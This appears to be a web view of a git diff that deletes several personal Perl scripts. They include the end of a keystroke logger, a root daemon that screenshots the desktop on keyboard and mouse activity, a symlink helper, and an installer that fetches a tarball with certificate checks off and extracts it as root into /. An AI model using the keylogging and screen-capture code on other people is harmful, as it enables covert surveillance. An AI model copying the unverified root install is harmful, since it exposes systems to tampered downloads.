|
||||||
print $log "[$ts] "
|
|
||||||
. ($event eq "release" ? "<Release>" : "<Press>")
|
|
||||||
. " "
|
|
||||||
. ($key eq " " ? "{space}" : $key)
|
|
||||||
. "\n";
|
|
||||||
close ($log);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# QWERTY keysym finder
|
|
||||||
sub kbd_qwerty {
|
|
||||||
my ($event,$sym) = @_;
|
|
||||||
|
|
||||||
# Modifier keys.
|
|
||||||
my %modkeys = (
|
|
||||||
50 => 'shift', # L Shift
|
|
||||||
62 => 'shift', # R Shift
|
|
||||||
37 => 'ctrl', # L Ctrl
|
|
||||||
105 => 'ctrl', # R Ctrl
|
|
||||||
64 => 'alt', # L Alt
|
|
||||||
108 => 'alt', # R Alt
|
|
||||||
133 => 'super', # L Super
|
|
||||||
);
|
|
||||||
if (exists $modkeys{$sym}) {
|
|
||||||
my $name = $modkeys{$sym};
|
|
||||||
$mod{$name} = $event eq "press" ? 1 : 0;
|
|
||||||
return "{\u$name}";
|
|
||||||
}
|
|
||||||
|
|
||||||
# Qwerty keys.
|
|
||||||
my %keys = (
|
|
||||||
# qwerty row
|
|
||||||
24 => [ 'q', 'Q' ], # normal, shift key
|
|
||||||
25 => [ 'w', 'W' ],
|
|
||||||
26 => [ 'e', 'E' ],
|
|
||||||
27 => [ 'r', 'R' ],
|
|
||||||
28 => [ 't', 'T' ],
|
|
||||||
29 => [ 'y', 'Y' ],
|
|
||||||
30 => [ 'u', 'U' ],
|
|
||||||
31 => [ 'i', 'I' ],
|
|
||||||
32 => [ 'o', 'O' ],
|
|
||||||
33 => [ 'p', 'P' ],
|
|
||||||
34 => [ '[', '{' ],
|
|
||||||
35 => [ ']', '}' ],
|
|
||||||
51 => [ "\\", '|' ],
|
|
||||||
|
|
||||||
# asdf row
|
|
||||||
38 => [ 'a', 'A' ],
|
|
||||||
39 => [ 's', 'S' ],
|
|
||||||
40 => [ 'd', 'D' ],
|
|
||||||
41 => [ 'f', 'F' ],
|
|
||||||
42 => [ 'g', 'G' ],
|
|
||||||
43 => [ 'h', 'H' ],
|
|
||||||
44 => [ 'j', 'J' ],
|
|
||||||
45 => [ 'k', 'K' ],
|
|
||||||
46 => [ 'l', 'L' ],
|
|
||||||
47 => [ ';', ':' ],
|
|
||||||
48 => [ '"', "'" ],
|
|
||||||
36 => "{Return}",
|
|
||||||
|
|
||||||
# zxcv row
|
|
||||||
52 => [ 'z', 'Z' ],
|
|
||||||
53 => [ 'x', 'X' ],
|
|
||||||
54 => [ 'c', 'C' ],
|
|
||||||
55 => [ 'v', 'V' ],
|
|
||||||
56 => [ 'b', 'B' ],
|
|
||||||
57 => [ 'n', 'N' ],
|
|
||||||
58 => [ 'm', 'M' ],
|
|
||||||
59 => [ ',', '<' ],
|
|
||||||
60 => [ '.', '>' ],
|
|
||||||
61 => [ '/', '?' ],
|
|
||||||
|
|
||||||
# number row
|
|
||||||
49 => [ '`', '~' ],
|
|
||||||
10 => [ '1', '!' ],
|
|
||||||
11 => [ '2', '@' ],
|
|
||||||
12 => [ '3', '#' ],
|
|
||||||
13 => [ '4', '$' ],
|
|
||||||
14 => [ '5', '%' ],
|
|
||||||
15 => [ '6', '^' ],
|
|
||||||
16 => [ '7', '&' ],
|
|
||||||
17 => [ '8', '*' ],
|
|
||||||
18 => [ '9', '(' ],
|
|
||||||
19 => [ '0', ')' ],
|
|
||||||
20 => [ '-', '_' ],
|
|
||||||
21 => [ '+', '=' ],
|
|
||||||
|
|
||||||
# space bar
|
|
||||||
65 => ' ',
|
|
||||||
|
|
||||||
# number pad
|
|
||||||
90 => '{Num-0}',
|
|
||||||
87 => '{Num-1}',
|
|
||||||
88 => '{Num-2}',
|
|
||||||
89 => '{Num-3}',
|
|
||||||
83 => '{Num-4}',
|
|
||||||
84 => '{Num-5}',
|
|
||||||
85 => '{Num-6}',
|
|
||||||
79 => '{Num-7}',
|
|
||||||
80 => '{Num-8}',
|
|
||||||
81 => '{Num-9}',
|
|
||||||
106 => '{Num-/}',
|
|
||||||
63 => '{Num-*}',
|
|
||||||
82 => '{Num--}',
|
|
||||||
86 => '{Num-+}',
|
|
||||||
|
|
||||||
# F keys
|
|
||||||
67 => '{F1}',
|
|
||||||
68 => '{F2}',
|
|
||||||
69 => '{F3}',
|
|
||||||
70 => '{F4}',
|
|
||||||
71 => '{F5}',
|
|
||||||
72 => '{F6}',
|
|
||||||
73 => '{F7}',
|
|
||||||
74 => '{F8}',
|
|
||||||
75 => '{F9}',
|
|
||||||
76 => '{F10}',
|
|
||||||
95 => '{F11}',
|
|
||||||
96 => '{F12}',
|
|
||||||
|
|
||||||
# Misc
|
|
||||||
9 => '{Esc}',
|
|
||||||
22 => '{Backspace}',
|
|
||||||
77 => '{Num Lock}',
|
|
||||||
107 => '{Print Scr}',
|
|
||||||
118 => '{Insert}',
|
|
||||||
119 => '{Delete}',
|
|
||||||
110 => '{Home}',
|
|
||||||
112 => '{Pg Up}',
|
|
||||||
117 => '{Pg Dn}',
|
|
||||||
115 => '{End}',
|
|
||||||
111 => '{Up}',
|
|
||||||
116 => '{Down}',
|
|
||||||
113 => '{Left}',
|
|
||||||
114 => '{Right}',
|
|
||||||
135 => '{Menu}',
|
|
||||||
23 => '{Tab}',
|
|
||||||
66 => '{Caps Lock}',
|
|
||||||
);
|
|
||||||
|
|
||||||
if (exists $keys{$sym}) {
|
|
||||||
if (ref($keys{$sym})) {
|
|
||||||
print "(shift key: $mod{shift})\n";
|
|
||||||
if ($mod{shift}) {
|
|
||||||
return $keys{$sym}->[1];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return $keys{$sym}->[0];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return $keys{$sym};
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return "{Unknown: $sym}";
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,9 +0,0 @@
|
||||||
#!/usr/bin/perl
|
|
||||||
|
|
||||||
# Get some updated software on Debian Lenny, especially `git`.
|
|
||||||
|
|
||||||
if (!-d "/opt/git") {
|
|
||||||
print "Fetching latest git\n";
|
|
||||||
system(qw(wget --no-check-certificate https://rpm.kirsle.net/static-bin/git/lenny/latest.tar.gz -O git-lenny.tar.gz));
|
|
||||||
system(qw(sudo tar -xzvf git-lenny.tar.gz -C /));
|
|
||||||
}
|
|
|
@ -1,80 +0,0 @@
|
||||||
#!/usr/bin/perl
|
|
||||||
|
|
||||||
use strict;
|
|
||||||
use warnings;
|
|
||||||
use Cwd;
|
|
||||||
|
|
||||||
# Make symlinks from your git-project repo into the system. This is only
|
|
||||||
# designed to work with Media Temple's git-project workflow.
|
|
||||||
#
|
|
||||||
# Usage: sudo link-stuff.pl /path/to/git/project
|
|
||||||
#
|
|
||||||
# The git-project root should have top-level folders such as `perl-libs`, with
|
|
||||||
# a path convention like e.g. `perl-libs/$NAME/lib/**/*.pm` -- this script will
|
|
||||||
# attempt to find system-installed counterparts and symlink them to the file
|
|
||||||
# from your git repo.
|
|
||||||
#
|
|
||||||
# Currently supports the following types of things:
|
|
||||||
# * perl-libs
|
|
||||||
|
|
||||||
my $root = shift;
|
|
||||||
if (!$root) {
|
|
||||||
die "Usage: $0 /path/to/git/project\n";
|
|
||||||
}
|
|
||||||
if (!-d $root) {
|
|
||||||
die "Error: $root is not a directory\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
chdir($root);
|
|
||||||
my $abspath = Cwd::abs_path(".");
|
|
||||||
|
|
||||||
if (-d "./perl-libs") {
|
|
||||||
perl_libs();
|
|
||||||
}
|
|
||||||
|
|
||||||
sub perl_libs {
|
|
||||||
# Root directories to check.
|
|
||||||
my @lib = (
|
|
||||||
"/usr/share/perl5",
|
|
||||||
"/usr/share/perl5/vendor_perl",
|
|
||||||
);
|
|
||||||
|
|
||||||
# Find all the perl-libs projects.
|
|
||||||
opendir(my $dh, "./perl-libs");
|
|
||||||
foreach my $project (readdir($dh)) {
|
|
||||||
next unless -d "./perl-libs/$project/lib";
|
|
||||||
print "Project: perl-libs/$project\n";
|
|
||||||
|
|
||||||
# Get its modules.
|
|
||||||
foreach my $module (scan("./perl-libs/$project/lib")) {
|
|
||||||
$module =~ s{^\./perl-libs/$project/lib/}{}g;
|
|
||||||
foreach my $lib (@lib) {
|
|
||||||
if (-f "$lib/$module") {
|
|
||||||
print " - Link: $lib/$module\n";
|
|
||||||
unlink("$lib/$module");
|
|
||||||
symlink("$abspath/perl-libs/$project/lib/$module", "$lib/$module");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# Recursively scan a directory.
|
|
||||||
sub scan {
|
|
||||||
my $dir = shift;
|
|
||||||
|
|
||||||
my @found;
|
|
||||||
|
|
||||||
opendir (my $dh, $dir);
|
|
||||||
foreach my $file (readdir($dh)) {
|
|
||||||
next if ($file eq '.' || $file eq '..');
|
|
||||||
if (-d "$dir/$file") {
|
|
||||||
push @found, scan("$dir/$file");
|
|
||||||
} else {
|
|
||||||
push @found, "$dir/$file";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
closedir($dh);
|
|
||||||
|
|
||||||
return @found;
|
|
||||||
}
|
|
|
@ -1,167 +0,0 @@
|
||||||
#!/usr/bin/perl -w
|
|
||||||
|
|
||||||
# screenspy - Linux desktop monitoring daemon. Must be run as root.
|
|
||||||
|
|
||||||
# This script monitors one or more hardware devices (usually under /dev) for
|
|
||||||
# Linux systems running an X window manager.
|
|
||||||
#
|
|
||||||
# This script must be run as root because usually only root can read from
|
|
||||||
# hardware devices directly. You can set up a panel launcher to run this
|
|
||||||
# script with `sudo` if you previously set up the sudoers file to let your
|
|
||||||
# user run this script with no password.
|
|
||||||
#
|
|
||||||
# --Kirsle
|
|
||||||
# http://sh.kirsle.net/
|
|
||||||
|
|
||||||
use strict;
|
|
||||||
use warnings;
|
|
||||||
use threads;
|
|
||||||
use threads::shared;
|
|
||||||
|
|
||||||
#################
|
|
||||||
# Configuration #
|
|
||||||
#################
|
|
||||||
|
|
||||||
# X display to grab screenshots from.
|
|
||||||
$ENV{DISPLAY} ||= ":0.0";
|
|
||||||
|
|
||||||
# Devices to monitor.
|
|
||||||
our @devices = (
|
|
||||||
"/dev/console", # keyboard input
|
|
||||||
"/dev/input/mice", # mouse input
|
|
||||||
);
|
|
||||||
|
|
||||||
# Screenshot command.
|
|
||||||
our $screenshot = 'scrot -q 85 "%s"';
|
|
||||||
|
|
||||||
# Output directory for screenshots.
|
|
||||||
our $outdir = '/home/kirsle/Pictures/screenspy';
|
|
||||||
|
|
||||||
# Calibration: number of seconds (after no activity) for it to take a screenshot.
|
|
||||||
our $threshold = 2; # I found that 2 seconds is the best for my system, 1 second and it takes screenshots too often.
|
|
||||||
|
|
||||||
# Calibration: if there's too much activity after the threshold, take screenshots every N seconds.
|
|
||||||
our $prolonged = 5;
|
|
||||||
|
|
||||||
# If you want some indication that the app is running, put the command to run in here.
|
|
||||||
# This command will be repeatedly run. Recommended is to use zenity and put an icon in
|
|
||||||
# your system tray. Leave blank for no command.
|
|
||||||
our $notify = "zenity --notification --window-icon=/usr/share/pixmaps/gnome-spider.png --text 'Running...'";
|
|
||||||
|
|
||||||
#####################
|
|
||||||
# End Configuration #
|
|
||||||
#####################
|
|
||||||
|
|
||||||
# Only let this script run once.
|
|
||||||
&checkdupes();
|
|
||||||
|
|
||||||
# Each thread will report the time when the last event happened.
|
|
||||||
my %lastEvent : shared;
|
|
||||||
my %changed : shared;
|
|
||||||
|
|
||||||
# Spawn a thread for each device.
|
|
||||||
my @threads = ();
|
|
||||||
foreach my $dev (@devices) {
|
|
||||||
# Make sure we can read the device.
|
|
||||||
if (!-r $dev) {
|
|
||||||
system("zenity --error --text \"Don't have permission to read from device $dev\"");
|
|
||||||
}
|
|
||||||
push (@threads, threads->create (\&monitor, $dev));
|
|
||||||
}
|
|
||||||
|
|
||||||
# If they want a command run, spawn a thread for it too.
|
|
||||||
if (length $notify) {
|
|
||||||
push (@threads, threads->create (\¬ify));
|
|
||||||
}
|
|
||||||
|
|
||||||
# Loop forever and let the threads do their thing.
|
|
||||||
while (1) {
|
|
||||||
# See if any events have stopped for longer than the threshold.
|
|
||||||
foreach my $dev (keys %lastEvent) {
|
|
||||||
if ($lastEvent{$dev} > 0 && time() - $lastEvent{$dev} >= $threshold) {
|
|
||||||
# take screenshot
|
|
||||||
print "$dev: idle, taking screenshot (" . (time() - $lastEvent{$dev}) . "; $threshold)\n";
|
|
||||||
&screenshot();
|
|
||||||
$lastEvent{$dev} = 0;
|
|
||||||
$changed{$dev} = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
select(undef,undef,undef,0.01);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub monitor {
|
|
||||||
my $device = shift;
|
|
||||||
print "Monitoring device: $device\n";
|
|
||||||
|
|
||||||
# Store the time when the last event was seen.
|
|
||||||
$lastEvent{$device} = 0;
|
|
||||||
|
|
||||||
# When the lastEvent is first set (away from 0), record the time it was changed.
|
|
||||||
# This way for prolonged activity we can still take screenshots.
|
|
||||||
$changed{$device} = 0;
|
|
||||||
|
|
||||||
open (READ, $device);
|
|
||||||
my $buffer;
|
|
||||||
while (read(READ, $buffer, 1)) {
|
|
||||||
# Store the last event time
|
|
||||||
if ($lastEvent{$device} == 0) {
|
|
||||||
$changed{$device} = time();
|
|
||||||
}
|
|
||||||
$lastEvent{$device} = time();
|
|
||||||
|
|
||||||
# Too much activity?
|
|
||||||
if ($changed{$device} > 0 && time() - $changed{$device} > $prolonged) {
|
|
||||||
# Take screenshot.
|
|
||||||
print "$device: prolonged activity (> $prolonged seconds)\n";
|
|
||||||
&screenshot();
|
|
||||||
$changed{$device} = time();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
close (READ);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub notify {
|
|
||||||
while (1) {
|
|
||||||
system($notify);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub screenshot {
|
|
||||||
print "Taking screenshot!\n";
|
|
||||||
|
|
||||||
my @time = localtime(time());
|
|
||||||
my $date = join(" ",
|
|
||||||
join("-",
|
|
||||||
sprintf("%04d", $time[5] + 1900),
|
|
||||||
sprintf("%02d", $time[4] + 1),
|
|
||||||
sprintf("%02d", $time[3]),
|
|
||||||
),
|
|
||||||
join(":",
|
|
||||||
sprintf("%02d", $time[2]),
|
|
||||||
sprintf("%02d", $time[1]),
|
|
||||||
sprintf("%02d", $time[0]),
|
|
||||||
),
|
|
||||||
);
|
|
||||||
|
|
||||||
my $fname = $date;
|
|
||||||
my $i = 1;
|
|
||||||
while (-f "$outdir/$fname.png") {
|
|
||||||
$fname = $date . " [$i]";
|
|
||||||
$i++;
|
|
||||||
}
|
|
||||||
my $cmd = $screenshot;
|
|
||||||
$cmd =~ s/%s/$outdir\/$fname\.png/ig;
|
|
||||||
system($cmd);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub checkdupes {
|
|
||||||
my $ps = `ps aux | grep screenspy`;
|
|
||||||
foreach my $line (split(/\n/,$ps)) {
|
|
||||||
chomp $line;
|
|
||||||
next if $line =~ /grep/i;
|
|
||||||
next if $line =~ /$$/i;
|
|
||||||
if ($line) {
|
|
||||||
die "Script is already running!\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
Loading…
Reference in New Issue
Block a user